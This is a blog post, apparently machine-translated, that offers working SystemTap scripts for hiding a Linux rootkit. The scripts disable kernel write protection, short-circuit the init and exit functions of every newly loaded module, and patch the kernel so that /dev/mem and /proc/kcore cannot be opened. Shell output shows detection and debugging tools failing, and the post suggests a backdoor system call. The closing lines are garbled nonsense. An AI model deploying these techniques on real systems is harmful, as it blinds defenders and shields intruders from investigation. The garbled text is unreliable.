Linux Rootkit avoids kernel detection

come from How to avoid kernel detection in Linux Rootkit

Remember to lock the door when Rootkit is successful.

If we want to inject a Rootkit into the kernel and do not want to be detected at the same time, what we need to do is to hide it subtly and keep it quiet. I have talked about this topic, such as process disconnection, TCP link disconnection latency and so on. For details, see:
https://blog.csdn.net/dog250/article/details/105371830
https://blog.csdn.net/dog250/article/details/105394840

However, the nature of the net is vast, and the horse's feet are always exposed. If it has been suspected, how to counter it?

In fact, the first time to take countermeasures is bound to be important! All we need is to occupy the commanding height, so that subsequent detection methods cannot be carried out.

We must know what detection measures are available to deal with Rootkit. Common ones are as follows:

  • System tap, raw kprobe/jprobe, ftrace and other tracking mechanisms. They work through kernel modules.
  • The self-developed kernel module adopts instruction feature matching and instruction verification mechanism to check Rootkit.
  • gdb/kdb/crash debugging mechanism, which works through / dev/mem, / proc/kcore.

Like anti-virus software fights, Rootkit and anti Rootkit are also the targets of each other. In any case, the battlefield is in the kernel state.

Obviously, what we need to do is:

  1. Block the loading of kernel module in the first time.
  2. Block / dev/mem and open / proc/kcore in the first time.

At this point, we should be able to say countless ways to accomplish the above things. Personally, my style is definitely binary hook, but this time I hope to do things in a formal way.

What is the normal way, and what is the skill?

We know that the text section of the Linux kernel is statically determined at compile time, and occasionally redirected at load time, but it still maintains a compact layout. All kernel functions are in a fixed range of compact memory space.

Therefore, any call/jmp that goes beyond the fixed range is basically illegal and should be strictly checked. In other words, static code can't call/jmp directly to dynamic memory (after all, static code doesn't know dynamic address). If static code needs dynamic function to complete a certain task, it can only use callback, and callback function needs to address with the help of memory at instruction level, rather than rel32 immediate number.

If we hack a call/jmp instruction in the static code, so that it uses the new immediate as the operands to call/jmp to our dynamic code, then this is a trick, this is an irregular way.

On the contrary, if we call the ready-made interface of Linux kernel to register a callback function to complete our task, then this is a normal way. In this article, I will use a normal technology based on the kernel notification chain to block the kernel module.

Let's get to the point.

First, let's look at the first point. The following stap script shows how to do this:

#!/usr/bin/stap -g
// dismod.stp
%{
// We use the notification chain mechanism.
// Every time the kernel module is loaded, there will be a message to notify on the notification chain. We only need to register a handler.
// Our handler makes the module "fake load"!
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
	int i;
	struct module *mod = (struct module *)data;
	unsigned char *init, *exit;
	unsigned long cr0;

	if (action != MODULE_STATE_COMING)
		return NOTIFY_OK;

	init = (unsigned char *)mod->init;
	exit = (unsigned char *)mod->exit;
	// To avoid calibrating the rel32 call offset, use assembly directly.
	asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);
	clear_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
	// Replace the init function of the module with "return 0;"
	init[0] = 0x31;	// xor %eax, %eax
	init[1] = 0xc0;	// retq
	init[2] = 0xc3;	// retq
	// Replace the exit function of the module with "return;" to prevent the detection module from doing something in the exit function.
	exit[0] = 0xc3;
	set_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

	return NOTIFY_OK;
}

struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}

function dismod()
%{
	int ret = 0;

	// In the normal way, we can allocate memory directly from vmalloc area.
	dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
	if (!dismod_module_nb) {
		printk("malloc nb failed\n");
		return;
	}
	// The page kernel exec memory must be allocated using the vmalloc interface.
	_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
	if (!_dismod_module_notify) {
		printk("malloc stub failed\n");
		return;
	}

	memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
	dismod_module_nb->notifier_call = _dismod_module_notify;
	dismod_module_nb->priority = 1;

	ret = register_module_notifier(dismod_module_nb);
	if (ret) {
		printk("notifier register failed\n");
		return;
	}
%}

probe begin
{
	dismod();
	exit();
}

Now, let's run the above script:

[root@localhost test]# ./dismod.stp
[root@localhost test]#

Our expectation is that after that, all modules will "pretend" to load into the kernel successfully, but in fact, it does not play any role, because the init function of the module is bypassed by short circuit and will not be executed.

Come on, let's write a simple kernel module to see the effect:

// testmod.c
#include <linux/module.h>

noinline int test_module_function(int i)
{
	printk("%d\n", i);
	// Our test module is very hard. As soon as we load it, we will let the kernel panic.
	panic("shabi"); 
}

static int __init testmod_init(void)
{
	printk("init\n");
	test_module_function(1234);
	return 0;
}

static void __exit testmod_exit(void)
{
	printk("exit\n");
}

module_init(testmod_init);
module_exit(testmod_exit);
MODULE_LICENSE("GPL");

If we load the above modules without executing dismod.stp, it is obvious that the kernel will be panic, which is doomed. But actually?

Compile, load:

[root@localhost test]# insmod ./testmod.ko
[root@localhost test]# lsmod |grep testmod
testmod                12472  0
[root@localhost test]# cat /proc/kallsyms |grep testmod
ffffffffa010b027 t testmod_exit	[testmod]
ffffffffa010d000 d __this_module	[testmod]
ffffffffa010b000 t test_module_function	[testmod]
ffffffffa010b027 t cleanup_module	[testmod]
[root@localhost test]# rmmod testmod
[root@localhost test]#
[root@localhost test]# echo $?
0

The kernel prints nothing and there is no panic. On the contrary, the module is loaded successfully, and all its symbols are registered successfully, and can be unloaded successfully. This means that the module mechanism fails!

Can we still use systemtap?

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork\n"); }'
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.
WARNING: /usr/bin/staprun exited with status: 1
Pass 5: run failed.  [man error::pass5]

It doesn't look good.

Assuming that this mechanism is used for Rootkit anti detection, if you want to trace the kernel with stap and find out the abnormal points, this method has failed.

Next, let's block / dev/mem, / proc/kcore, which is too easy:

#!/usr/bin/stap -g
// diskcore.stp
function kcore_poke()
%{
	unsigned char *_open_kcore, *_open_devmem;
	unsigned char ret_1[6];
	unsigned long cr0;

	_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
	if (!_open_kcore)
		return;
	_open_devmem = (void *)kallsyms_lookup_name("open_port");
	if (!_open_devmem)
		return;

	// The following instruction indicates return -1; that is, an error is returned! This means that the file cannot be opened.
	ret_1[0] = 0xb8; // mov $-1, %eax;
	ret_1[1] = 0xff;
	ret_1[2] = 0xff;
	ret_1[3] = 0xff;
	ret_1[4] = 0xff;
	ret_1[5] = 0xc3; // retq

	// This time, we used to use a simpler CR0 to write text instead of text poke.
	cr0 = read_cr0();
	clear_bit(16, &cr0);
	write_cr0(cr0);
	// text memory is writable. Use memcpy directly.
	memcpy(_open_kcore, ret_1, sizeof(ret_1));
	memcpy(_open_devmem, ret_1, sizeof(ret_1));
	set_bit(16, &cr0);
	write_cr0(cr0);
%}

probe begin
{
	kcore_poke();
	exit();
}

Come on, let's try the crash command:

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem
...
This program has absolutely no warranty.  Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

  crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS]	(dumpfile form)
  crash [OPTION]... [NAMELIST]             		(live system form)

Enter "crash -h" for details.
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore
...
crash: /proc/kcore: Operation not permitted
...

Ha ha, I can't debug the live kernel at all! How to catch the Rootkit scene?

Note that the above two mechanisms must allow disable / dev/mem, / proc/kcore to execute before blocking module, otherwise it will make metaphysical mistakes and hit itself. The above scheme is only for demonstration, and the correct way is to combine them:

#!/usr/bin/stap -g
// anti-sense.stp
%{
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
	int i;
	struct module *mod = (struct module *)data;
	unsigned char *init, *exit;
	unsigned long cr0;

	if (action != MODULE_STATE_COMING)
		return NOTIFY_OK;

	init = (unsigned char *)mod->init;
	exit = (unsigned char *)mod->exit;
	// To avoid calibrating the rel32 call offset, use assembly directly.
	asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);
	clear_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
	// Replace the init function of the module with "return 0;"
	init[0] = 0x31;	// xor %eax, %eax
	init[1] = 0xc0;	// retq
	init[2] = 0xc3;	// retq
	// Replace the exit function of the module with "return;"
	exit[0] = 0xc3;
	set_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

	return NOTIFY_OK;
}

struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}

function diskcore()
%{
	unsigned char *_open_kcore, *_open_devmem;
	unsigned char ret_1[6];
	unsigned long cr0;

	_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
	if (!_open_kcore)
		return;
	_open_devmem = (void *)kallsyms_lookup_name("open_port");
	if (!_open_devmem)
		return;

	// The following instruction indicates return -1;
	ret_1[0] = 0xb8; // mov $-1, %eax;
	ret_1[1] = 0xff;
	ret_1[2] = 0xff;
	ret_1[3] = 0xff;
	ret_1[4] = 0xff;
	ret_1[5] = 0xc3; // retq

	// This time, we used to use a simpler CR0 to write text instead of text poke.
	cr0 = read_cr0();
	clear_bit(16, &cr0);
	write_cr0(cr0);
	memcpy(_open_kcore, ret_1, sizeof(ret_1));
	memcpy(_open_devmem, ret_1, sizeof(ret_1));
	set_bit(16, &cr0);
	write_cr0(cr0);
%}

function dismod()
%{
	int ret = 0;

	// In the normal way, we can allocate memory directly from vmalloc area.
	dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
	if (!dismod_module_nb) {
		printk("malloc nb failed\n");
		return;
	}
	// The page kernel exec memory must be allocated using the vmalloc interface.
	_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
	if (!_dismod_module_notify) {
		printk("malloc stub failed\n");
		return;
	}

	memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
	dismod_module_nb->notifier_call = _dismod_module_notify;
	dismod_module_nb->priority = 1;

	printk("notify addr:%p\n", _dismod_module_notify);
	ret = register_module_notifier(dismod_module_nb);
	if (ret) {
		printk("notify register failed\n");
		return;
	}
%}

probe begin
{
	dismod();
	diskcore();
	exit();
}

From then on, if you want to catch the rootkits before, you can't load the kernel modules, crash debugging, or program mmap /dev/mem yourself. Restart! After the restart? All to dust.

But what about ourselves? This will also block our own retreat. As long as we use the voltage to freeze the memory snapshot and offline analysis, the truth will come out! We have to give ourselves a way back, so that we can destroy and recover the scene, and then we can leave. How can we do this?

It's easy, remember in the article“ Linux dynamically adds new system calls to the kernel ”Is the method in? Isn't it a normal idea that we block the front door and leave the back door in the way of adding system calls?

Finally, all of the above content, which has no good or evil comments, can also be used to prevent the kernel from being injected by Rootkit. It is important to know who is fast and who is the first to occupy the commanding heights.

yes. The manager thinks the same. However, the manager does not pull the erhu, because the rosin ash falling from the erhu will dirty the manager west trousers.

Wenzhou leather shoes in Zhejiang Province are wet, and they will not be fat if it rains and floods.

Keywords: Linux snapshot

Added by Daddy on Sun, 17 May 2020 06:59:07 +0300